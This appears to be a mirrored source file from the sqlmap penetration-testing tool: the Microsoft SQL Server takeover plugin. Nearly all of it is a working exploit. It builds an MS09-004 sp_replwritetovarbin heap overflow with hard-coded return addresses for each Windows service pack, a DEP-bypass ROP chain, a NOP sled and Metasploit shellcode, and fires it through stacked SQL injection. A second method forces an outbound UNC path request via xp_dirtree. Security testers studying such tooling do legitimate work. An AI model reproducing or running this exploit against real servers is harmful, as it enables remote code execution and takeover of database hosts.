mirror of
https://github.com/sqlmapproject/sqlmap.git
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147 lines
6.3 KiB
Python
147 lines
6.3 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import binascii
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from lib.core.common import Backend
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from lib.core.compat import xrange
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from lib.core.convert import getBytes
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from lib.core.data import logger
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from lib.core.exception import SqlmapUnsupportedFeatureException
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from lib.request import inject
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from plugins.generic.takeover import Takeover as GenericTakeover
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class Takeover(GenericTakeover):
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def __init__(self):
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self.spExploit = ""
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GenericTakeover.__init__(self)
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def uncPathRequest(self):
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# inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
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inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
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def spHeapOverflow(self):
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"""
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References:
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* https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004
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* https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co
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"""
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returns = {
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# 2003 Service Pack 0
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"2003-0": (""),
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# 2003 Service Pack 1
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"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),
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# 2003 Service Pack 2 updated at 12/2008
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# "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"),
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# 2003 Service Pack 2 updated at 05/2009
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"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),
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# 2003 Service Pack 2 updated at 09/2009
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# "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
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}
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addrs = None
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for versionSp, data in returns.items():
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version, sp = versionSp.split("-")
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sp = int(sp)
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if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:
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addrs = data
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break
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if not addrs:
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errMsg = "sqlmap can not exploit the stored procedure buffer "
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errMsg += "overflow because it does not have a valid return "
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errMsg += "code for the underlying operating system (Windows "
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errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack())
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raise SqlmapUnsupportedFeatureException(errMsg)
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shellcodeChar = ""
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hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1]))
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for hexPair in xrange(0, len(hexStr), 2):
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shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2]
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shellcodeChar = shellcodeChar[:-1]
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self.spExploit = """DECLARE @buf NVARCHAR(4000),
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@val NVARCHAR(4),
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@counter INT
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SET @buf = '
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DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
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EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
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SET @val = CHAR(0x41)
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SET @counter = 0
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WHILE @counter < 3320
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BEGIN
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SET @counter = @counter + 1
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IF @counter = 411
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BEGIN
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/* pointer to call [ecx+8] */
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SET @buf = @buf + %s
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/* push ebp, pop esp, ret 4 */
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SET @buf = @buf + %s
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/* push ecx, pop esp, pop ebp, retn 8 */
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SET @buf = @buf + %s
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/* Garbage */
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SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
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/* retn 1c */
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SET @buf = @buf + %s
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/* retn 1c */
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SET @buf = @buf + %s
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/* anti DEP */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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/* jmp esp */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
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set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
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set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
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set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
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/* Metasploit shellcode */
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SET @buf = @buf + %s
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SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
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SET @counter = @counter + 302
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SET @val = CHAR(0x43)
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CONTINUE
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END
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SET @buf = @buf + @val
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END
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SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
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EXEC master..sp_executesql @buf
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""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
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self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
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logger.info("triggering the buffer overflow vulnerability, please wait..")
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inject.goStacked(self.spExploit, silent=True)
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